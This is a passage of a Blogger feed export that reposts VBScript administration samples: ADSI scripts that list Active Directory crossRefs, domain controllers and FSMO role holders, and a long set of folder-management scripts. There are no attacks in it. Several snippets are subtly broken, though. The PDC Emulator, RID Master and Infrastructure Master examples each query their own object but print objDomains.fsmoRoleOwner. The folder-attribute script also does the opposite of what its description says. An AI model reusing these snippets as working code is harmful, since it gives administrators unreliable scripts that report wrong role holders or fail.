vbCrLf&lt;br /&gt;    strText = strText &amp; "  DnsRoot: " &amp; obj.Get("dnsRoot") &amp; vbCrLf&lt;br /&gt;    strText = strText &amp; "  NCName: " &amp; obj.Get("NCName") &amp; vbCrLf&lt;br /&gt;    sTrustParent = obj.Get("trustParent")&lt;br /&gt;    If (Err.Number = 0) Then&lt;br /&gt;       strText = strText &amp; "  TrustParent: " &amp; sTrustParent &amp; vbCrLf&lt;br /&gt;    Else&lt;br /&gt;       Err.Clear&lt;br /&gt;    End If&lt;br /&gt;    sNetBIOSName = obj.Get("nETBIOSName")&lt;br /&gt;    If (Err.Number = 0) Then&lt;br /&gt;       strText = strText &amp; "  NETBIOSName: " &amp; sNetBIOSName &amp; vbCrLf&lt;br /&gt;    Else&lt;br /&gt;       Err.Clear&lt;br /&gt;    End If&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;show_items strText, "Display crossRef"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'''''''''''''''''''''''''''''''''''''''&lt;br /&gt;' Display subroutines&lt;br /&gt;'''''''''''''''''''''''''''''''''''''''&lt;br /&gt;Sub show_items(strText, strName)&lt;br /&gt;    MsgBox strText, vbInformation, "Create CrossRef"&lt;br /&gt;End Sub&lt;br /&gt; &lt;br /&gt;Sub BailOnFailure(ErrNum, ErrText)    strText = "Error 0x" &amp; Hex(ErrNum) &amp; " " &amp; ErrText&lt;br /&gt;    MsgBox strText, vbInformation, "ADSI Error"&lt;br /&gt;    WScript.Quit&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Listing Domain Controllers&lt;br /&gt;Each domain controller in the enterprise is represented by several objects:&lt;br /&gt;&lt;br /&gt;    * A computer object residing in the Domain renaming context (the computer account for the machine);&lt;br /&gt;    * a nTDSDSA object (NTDS settings) residing in the Configuration naming context. NTDS settings is a container that represents an instance of the directory service; it holds the DC's inbound replication connections. If you accidentally remove a NTDS Settings, the DC owning the object will resurrect the deleted object;&lt;br /&gt;    * A Servers object residing under the object in the DC's site. &lt;br /&gt;&lt;br /&gt;To get a list of all enterprise DCs, issue a query with a base path of the site's container that searches for object category nTDSDSA. Some attributes of interest:&lt;br /&gt;&lt;br /&gt;    * AdsPath - Use the full path to the object to find the parent object, which contains the DNS hostname of the DCs;&lt;br /&gt;    * HasMasterNCs - A multi-valued list of all the writable naming contexts. For this release of Windows 2000, these are Schema, Configuration and Domain;&lt;br /&gt;    * Options - Bit 1 indicates if this DC is also GC.&lt;br /&gt;&lt;br /&gt;Listing domain controllers:&lt;br /&gt;&lt;br /&gt;' Get the Configuration Naming Context&lt;br /&gt;Set oRootDSE = GetObject("LDAP://RootDSE")&lt;br /&gt;strConfigNC = oRootDSE.Get("configurationNamingContext")&lt;br /&gt;&lt;br /&gt;' Set up the oConnectionection&lt;br /&gt;set oConnection = CreateObject("ADODB.Connection")&lt;br /&gt;oConnection.Provider = "ADsDSOObject"&lt;br /&gt;oConnection.Open "ADs Provider"&lt;br /&gt;&lt;br /&gt;' Build the query&lt;br /&gt;strQuery = "&lt;LDAP://" &amp; strConfigNC &amp; &lt;br /&gt;"&gt;;(objectClass=nTDSDSA);ADsPath;subtree"&lt;br /&gt;&lt;br /&gt;set oCmd = CreateObject("ADODB.Command")&lt;br /&gt;oCmd.ActiveConnection = oConnection&lt;br /&gt;oCmd.CommandText = strQuery&lt;br /&gt;Set oRecordset = oCmd.Execute&lt;br /&gt;&lt;br /&gt;' Iterate through the results&lt;br /&gt;If oRecordset.Eof and oRecordSet.Bof Then&lt;br /&gt;  WScript.Echo "No Domain Controllers were found"&lt;br /&gt;Else&lt;br /&gt;  While Not oRecordset.EOF&lt;br /&gt;    Set oParent = GetObject(GetObject(oRecordset.Fields("ADsPath")).Parent)&lt;br /&gt;    ' Output the name of the server&lt;br /&gt;    WScript.Echo "Server: " &amp; oParent.cn &amp; " dNSHostName: " &amp; oParent.dNSHostName&lt;br /&gt;    oRecordset.MoveNext&lt;br /&gt;  Wend&lt;br /&gt;End if&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FSMO&lt;br /&gt;Flexible Single-Master Operations (FSMO) implements operations (there are only a few) that must be handled in a single master replication model. There are five FSMO roles, two per enterprise and three per domain, and you can use scripting to find out which DCs hold which FSMO roles.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Schema Master&lt;br /&gt;The Schema Master is unique in the entire enterprise; it alone can create new classes or attributes, after which it replicates updates to all domains in the forest. To identify it, read the value of fsmoRoleOwner attribute on the Schema container found under the Configuration container. Schema and Configuration naming contexts are enterprise wide and reside on all domain controllers.&lt;br /&gt;&lt;br /&gt;Set objRootDse = GetObject( "LDAP://RootDse" )&lt;br /&gt;Set objSchema = GetObject( "LDAP://" &amp; objRootDse.get( "SchemaNamingContext" ))&lt;br /&gt;WScript.Echo objSchema.fsmoRoleOwner&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Domain Naming Master&lt;br /&gt;The Domain Naming Master is unique in the enterprise; it manages the addition and removal of domains into the forest. To identify it, read the partitions container object and examine its fsmoRoleOwner attribute:&lt;br /&gt;&lt;br /&gt;Set objRootDse = GetObject( "LDAP://RootDse" )&lt;br /&gt;Set objDomains = GetObject( "LDAP://CN=Partitions," &amp; _&lt;br /&gt;    objRootDse.Get( "ConfigurationNamingContext" ))&lt;br /&gt;WScript.Echo objDomains.fsmoRoleOwner&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PDC Emulator&lt;br /&gt;The PDC Emulator is a per-domain role. To identify it, read the value of the fsmoRoleOwner attribute on the DomainDNS object:&lt;br /&gt;&lt;br /&gt;Set objRootDse = GetObject( "LDAP://RootDse" )&lt;br /&gt;Set objPDC = GetObject( "LDAP://" &amp; objRootDse.Get( "DefaultNamingContext" ))&lt;br /&gt;WScript.Echo objDomains.fsmoRoleOwner&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RID Master&lt;br /&gt;The RID Master is a per-domain role. It allocates RID blocks for all DCs in a domain that are used for SIDs in security principals such as users and groups. To identify it, read the value of the fsmoRoleOwner attribute on the RIDManager object of name CN="Rid Manager$" found in the domain's System Container:&lt;br /&gt;&lt;br /&gt;Set objRootDse = GetObject( "LDAP://RootDse" )&lt;br /&gt;Set objRID = GetObject( "LDAP://CN=Rid Manager$,CN=System," &amp; _&lt;br /&gt;    objRootDse.Get( "DefaultNamingContext" ))&lt;br /&gt;WScript.Echo objDomains.fsmoRoleOwner&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Infrastructure Master&lt;br /&gt;The Infrastructure Master is a per-domain role. To identify it, read the value of the fsmoRoleOwner attribute on the InfrastructureUpdate object for the domain:&lt;br /&gt;&lt;br /&gt;Set objRootDse = GetObject( "LDAP://RootDse" )&lt;br /&gt;Set objInfra = GetObject( "LDAP://CN=Infrastructure," &amp; _&lt;br /&gt;    objRootDse.Get( "DefaultNamingContext" ))&lt;br /&gt;WScript.Echo objDomains.fsmoRoleOwner&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    ADSI Samples&lt;br /&gt;Click here to view ADSI samples.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-2369129969734989105?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/2369129969734989105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=2369129969734989105' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2369129969734989105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2369129969734989105'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/active-directory-service-interfaces.html' title='Active Directory Service Interfaces (ADSI) Benefits'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-1520249698012579457</id><published>2008-09-23T20:44:00.000-07:00</published><updated>2008-09-23T20:56:22.008-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VBScript'/><title type='text'>Scripts to manage Folders  activexperts.com</title><content type='html'>url: http://www.activexperts.com/activmonitor/windowsmanagement/adminscripts/filesfolders/folders/#CreateNewFolders.htm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Download ActiveXperts Network Monitor 7.0  (6239 KB - .exe file)&lt;br /&gt;  Download Manual  (653 KB - .pdf file)&lt;br /&gt;ActiveXperts.com &gt; ActiveXperts Network Monitor &gt; WindowsManagement &gt; Scripts &gt; Files and Folders &gt; Folders&lt;br /&gt;Scripts to manage Folders&lt;br /&gt;Changing Folder Attributes&lt;br /&gt;Compressing Folders&lt;br /&gt;Copying a Folder&lt;br /&gt;Copying Folders Using WMI&lt;br /&gt;Copying Folders Using the Shell Object&lt;br /&gt;Creating a Folder&lt;br /&gt;Creating New Folders&lt;br /&gt;Deleting a Folder&lt;br /&gt;Deleting Folders&lt;br /&gt;Enumerating All the Folders on a Computer&lt;br /&gt;Enumerating Folder Attributes&lt;br /&gt;Enumerating Folder Properties&lt;br /&gt;Enumerating Folders Using Dates&lt;br /&gt;Enumerating a Specific Set of Folders&lt;br /&gt;Enumerating Subfolders in a Folder&lt;br /&gt;Finding Folders by Date&lt;br /&gt;Identifying Shell Object Verbs&lt;br /&gt;Moving a Folder&lt;br /&gt;Moving Folders Using the Shell Object&lt;br /&gt;Moving Folders Using WMI&lt;br /&gt;Renaming a Folder&lt;br /&gt;Renaming Folders&lt;br /&gt;Retrieving Folder Properties&lt;br /&gt;Uncompressing Folders&lt;br /&gt;Using the Browse for Folder Dialog Box&lt;br /&gt;Using Recursion to Enumerate Subfolders&lt;br /&gt;Using Wildcards in a Folder Query&lt;br /&gt;Verifying that a Folder Exists&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Changing Folder Attributes&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to check if a folder is hidden and, if it is not, hides it. Script must be run on the local computer. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set objFolder = objFSO.GetFolder("C:\FSO")&lt;br /&gt;If objFolder.Attributes = objFolder.Attributes AND 2 Then&lt;br /&gt;    objFolder.Attributes = objFolder.Attributes XOR 2 &lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Compressing Folders&lt;br /&gt;&lt;br /&gt;Compresses the folder C:\Scripts.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    errResults = objFolder.Compress&lt;br /&gt;    Wscript.Echo errResults&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copying a Folder&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to copy a folder to a new location. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Const OverWriteFiles = True&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;objFSO.CopyFolder "C:\Scripts" , "C:\FSO" , OverWriteFiles&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copying Folders Using WMI&lt;br /&gt;&lt;br /&gt;Uses WMI to copy the folder C:\Scripts to D:\Archive.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery( _&lt;br /&gt;    "Select * from Win32_Directory where Name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    errResults  = objFolder.Copy("D:\Archive")&lt;br /&gt;    Wscript.Echo errResults&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copying Folders Using the Shell Object&lt;br /&gt;&lt;br /&gt;Uses the Shell object to copy the folder C:\Scripts to D:\Archives. Displays the Copying Files progress dialog as the folder is being copied.&lt;br /&gt;&lt;br /&gt;Const FOF_CREATEPROGRESSDLG = &amp;H0&amp;&lt;br /&gt;ParentFolder = "D:\Archive" &lt;br /&gt;Set objShell = CreateObject("Shell.Application")&lt;br /&gt;Set objFolder = objShell.NameSpace(ParentFolder) &lt;br /&gt;objFolder.CopyHere "C:\Scripts", FOF_CREATEPROGRESSDLG&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creating a Folder&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to create a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set objFolder = objFSO.CreateFolder("C:\FSO")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creating New Folders&lt;br /&gt;&lt;br /&gt;Uses the Shell object to create a new folder named C:\Archive.&lt;br /&gt;&lt;br /&gt;ParentFolder = "C:\" &lt;br /&gt;set objShell = CreateObject("Shell.Application")&lt;br /&gt;set objFolder = objShell.NameSpace(ParentFolder) &lt;br /&gt;objFolder.NewFolder "Archive"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Deleting a Folder&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to delete a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;objFSO.DeleteFolder("C:\FSO")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Deleting Folders&lt;br /&gt;&lt;br /&gt;Deletes the folder C:\Scripts.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where Name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    errResults = objFolder.Delete&lt;br /&gt;    Wscript.Echo errResults&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating All the Folders on a Computer&lt;br /&gt;&lt;br /&gt;Returns a list of all the folders on a computer. This can take 15 minutes or more to complete, depending on the number of folders on the computer.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery("Select * from Win32_Directory")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    Wscript.Echo objFolder.Name&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating Folder Attributes&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to enumerate the attributes of a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set objFolder = objFSO.GetFolder("C:\FSO")&lt;br /&gt;If objFolder.Attributes AND 2 Then&lt;br /&gt;    Wscript.Echo "Hidden folder."&lt;br /&gt;End If    &lt;br /&gt;If objFolder.Attributes AND 4 Then&lt;br /&gt;    Wscript.Echo "System folder."&lt;br /&gt;End If    &lt;br /&gt;If objFolder.Attributes AND 16 Then&lt;br /&gt;    Wscript.Echo "Folder."&lt;br /&gt;End If  &lt;br /&gt;If objFolder.Attributes AND 32 Then&lt;br /&gt;    Wscript.Echo "Archive bit set."&lt;br /&gt;End If&lt;br /&gt;If objFolder.Attributes AND 2048 Then&lt;br /&gt;    Wscript.Echo "Compressed folder."&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating Folder Properties&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to enumerate the properties of a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set objFolder = objFSO.GetFolder("C:\Scripts")&lt;br /&gt;Wscript.Echo "Date created: " &amp; objFolder.DateCreated&lt;br /&gt;Wscript.Echo "Date last accessed: " &amp; objFolder.DateLastAccessed&lt;br /&gt;Wscript.Echo "Date last modified: " &amp; objFolder.DateLastModified&lt;br /&gt;Wscript.Echo "Drive: " &amp; objFolder.Drive&lt;br /&gt;Wscript.Echo "Is root folder: " &amp; objFolder.IsRootFolder&lt;br /&gt;Wscript.Echo "Name: " &amp; objFolder.Name&lt;br /&gt;Wscript.Echo "Parent folder: " &amp; objFolder.ParentFolder&lt;br /&gt;Wscript.Echo "Path: " &amp; objFolder.Path&lt;br /&gt;Wscript.Echo "Short name: " &amp; objFolder.ShortName&lt;br /&gt;Wscript.Echo "Short path: " &amp; objFolder.ShortPath&lt;br /&gt;Wscript.Echo "Size: " &amp; objFolder.Size&lt;br /&gt;Wscript.Echo "Type: " &amp; objFolder.Type&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating Folders Using Dates&lt;br /&gt;&lt;br /&gt;Lists all the folders on a computer that were created after 3/1/2002.&lt;br /&gt;&lt;br /&gt;Const LOCAL_TIME = True&lt;br /&gt;Set dtmTargetDate = CreateObject("WbemScripting.SWbemDateTime")&lt;br /&gt;Set dtmConvertedDate = CreateObject("WbemScripting.SWbemDateTime")&lt;br /&gt;dtmTargetDate.SetVarDate "3/1/2002", LOCAL_TIME&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject _&lt;br /&gt;    ("winmgmts:" &amp; "!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory Where " _&lt;br /&gt;        &amp; "CreationDate &gt; '" &amp; dtmTargetDate &amp; "'")&lt;br /&gt;For each objFolder in colFolders&lt;br /&gt;    dtmConvertedDate.Value = objFolder.CreationDate &lt;br /&gt;    Wscript.Echo objFolder.Name &amp; VbTab &amp; _&lt;br /&gt;        dtmConvertedDate.GetVarDate(LOCAL_TIME)&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating a Specific Set of Folders&lt;br /&gt;&lt;br /&gt;Returns a list of all the hidden folders on a computer.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFiles = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory Where Hidden = True")&lt;br /&gt;For Each objFile in colFiles&lt;br /&gt;    Wscript.Echo objFile.Name&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating Subfolders in a Folder&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to return the folder name and size for all the subfolders in a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set objFolder = objFSO.GetFolder("C:\FSO")&lt;br /&gt;Set colSubfolders = objFolder.Subfolders&lt;br /&gt;For Each objSubfolder in colSubfolders&lt;br /&gt;    Wscript.Echo objSubfolder.Name, objSubfolder.Size&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finding Folders by Date&lt;br /&gt;&lt;br /&gt;Finds all the folders created after March 1, 2002. To modify this script, you must modify the following items in the value assigned to the variable dtmTargetDate: 2002 -- Change this to the target year (for example, 1999). 03 -- Change this to the target month (01 for January, 02 for February … 12 for December). 01 -- Change this to the target day (01 for the first day of the month, 02 for the second, etc.). -420 -- To assure the correct results, change this to the offset between your time zone and Greenwich Mean Time. If you do not know the offset, use the script Determining Time Zone Offset from Greenwich Mean Time.&lt;br /&gt;&lt;br /&gt;On Error Resume Next&lt;br /&gt;dtmTargetDate = "20020301000000.000000-420"&lt;br /&gt;strComputer = "."&lt;br /&gt; &lt;br /&gt;Set objWMIService = GetObject _&lt;br /&gt;    ("winmgmts:" &amp; "!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory Where CreationDate &gt; '" &amp; _&lt;br /&gt;        dtmtargetDate &amp; "'")&lt;br /&gt; &lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    Wscript.Echo objFolder.Name &lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Identifying Shell Object Verbs&lt;br /&gt;&lt;br /&gt;Returns a list of Shell object verbs (context menu items) for the Recycle Bin.&lt;br /&gt;&lt;br /&gt;Const RECYCLE_BIN = &amp;Ha&amp;&lt;br /&gt;Set objShell = CreateObject("Shell.Application")&lt;br /&gt;Set objFolder = objShell.NameSpace(RECYCLE_BIN) &lt;br /&gt;Set objFolderItem = objFolder.Self      &lt;br /&gt;Set colVerbs = objFolderItem.Verbs&lt;br /&gt;For i = 0 to colVerbs.Count - 1&lt;br /&gt;    Wscript.Echo colVerbs.Item(i)&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Moving a Folder&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystermObject to move a folder from one location to another. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;objFSO.MoveFolder "C:\Scripts" , "M:\helpdesk\management"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Moving Folders Using the Shell Object&lt;br /&gt;&lt;br /&gt;Uses the Shell object to move the folder C:\Scripts to D:\Archives. Displays the Copying Files progress dialog as the folder is being moved.&lt;br /&gt;&lt;br /&gt;Const FOF_CREATEPROGRESSDLG = &amp;H0&amp;&lt;br /&gt;TargetFolder = "D:\Archive" &lt;br /&gt;Set objShell = CreateObject("Shell.Application")&lt;br /&gt;Set objFolder = objShell.NameSpace(TargetFolder) &lt;br /&gt;objFolder.MoveHere "C:\Scripts", FOF_CREATEPROGRESSDLG&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Moving Folders Using WMI&lt;br /&gt;&lt;br /&gt;Uses WMI to move the folder C:\Scripts to C:\Admins\Documents\Archive\VBScript.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    errResults = objFolder.Rename("C:\Admins\Documents\Archive\VBScript")&lt;br /&gt;    Wscript.Echo errResults&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Renaming a Folder&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to rename a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set objFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;objFSO.MoveFolder "C:\FSO\Samples" , "C:\FSO\Scripts"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Renaming Folders&lt;br /&gt;&lt;br /&gt;Renames the folder C:\Scripts to C:\Repository.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    errResults = objFolder.Rename("C:\Script Repository")&lt;br /&gt;    Wscript.Echo errResults&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Retrieving Folder Properties&lt;br /&gt;&lt;br /&gt;Lists the properties of the folder C:\Scripts.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService. _&lt;br /&gt;    ExecQuery("Select * from Win32_Directory where name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    Wscript.Echo "Archive: " &amp; objFolder.Archive&lt;br /&gt;    Wscript.Echo "Caption: " &amp; objFolder.Caption&lt;br /&gt;    Wscript.Echo "Compressed: " &amp; objFolder.Compressed&lt;br /&gt;    Wscript.Echo "Compression method: " &amp; objFolder.CompressionMethod&lt;br /&gt;    Wscript.Echo "Creation date: " &amp; objFolder.CreationDate&lt;br /&gt;    Wscript.Echo "Encrypted: " &amp; objFolder.Encrypted&lt;br /&gt;    Wscript.Echo "Encryption method: " &amp; objFolder.EncryptionMethod&lt;br /&gt;    Wscript.Echo "Hidden: " &amp; objFolder.Hidden&lt;br /&gt;    Wscript.Echo "In use count: " &amp; objFolder.InUseCount&lt;br /&gt;    Wscript.Echo "Last accessed: " &amp; objFolder.LastAccessed&lt;br /&gt;    Wscript.Echo "Last modified: " &amp; objFolder.LastModified&lt;br /&gt;    Wscript.Echo "Name: " &amp; objFolder.Name&lt;br /&gt;    Wscript.Echo "Path: " &amp; objFolder.Path&lt;br /&gt;    Wscript.Echo "Readable: " &amp; objFolder.Readable&lt;br /&gt;    Wscript.Echo "System: " &amp; objFolder.System&lt;br /&gt;    Wscript.Echo "Writeable: " &amp; objFolder.Writeable&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Uncompressing Folders&lt;br /&gt;&lt;br /&gt;Uncompresses the folder C:\Scripts.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where name = 'c:\\Scripts'")&lt;br /&gt;For Each objFolder in colFolders&lt;br /&gt;    errResults = objFolder.Uncompress&lt;br /&gt;    Wscript.Echo errResults&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using the Browse for Folder Dialog Box&lt;br /&gt;&lt;br /&gt;Uses the Shell object to display the Browse for Folder dialog box. After a folder has been selected, the script reports whether or not the folder is read-only.&lt;br /&gt;&lt;br /&gt;Const WINDOW_HANDLE = 0&lt;br /&gt;Const NO_OPTIONS = 0&lt;br /&gt;Set objShell = CreateObject("Shell.Application")&lt;br /&gt;Set objFolder = objShell.BrowseForFolder _&lt;br /&gt;    (WINDOW_HANDLE, "Select a folder:", NO_OPTIONS, "C:\Scripts")       &lt;br /&gt;Set objFolderItem = objFolder.Self&lt;br /&gt;objPath = objFolderItem.Path&lt;br /&gt;objPath = Replace(objPath, "\", "\\")&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject _&lt;br /&gt;    ("winmgmts:" &amp; "!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFiles = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where name = '" &amp; objPath &amp; "'")&lt;br /&gt;For Each objFile in colFiles&lt;br /&gt;    Wscript.Echo "Readable: " &amp; objFile.Readable&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using Recursion to Enumerate Subfolders&lt;br /&gt;&lt;br /&gt;Demonstration script that uses the FileSystemObject to recursively list all the subfolders (and their subfolders) within a folder. Script must be run on the local computer.&lt;br /&gt;&lt;br /&gt;Set FSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;ShowSubfolders FSO.GetFolder("C:\Scripts")&lt;br /&gt;Sub ShowSubFolders(Folder)&lt;br /&gt;    For Each Subfolder in Folder.SubFolders&lt;br /&gt;        Wscript.Echo Subfolder.Path&lt;br /&gt;        ShowSubFolders Subfolder&lt;br /&gt;    Next&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using Wildcards in a Folder Query&lt;br /&gt;&lt;br /&gt;Returns a list of all the folders whose path begins with C:\S.&lt;br /&gt;&lt;br /&gt;strComputer = "."&lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _&lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")&lt;br /&gt;Set colFolders = objWMIService.ExecQuery _&lt;br /&gt;    ("Select * from Win32_Directory where Name Like '%c:\\S%'")&lt;br 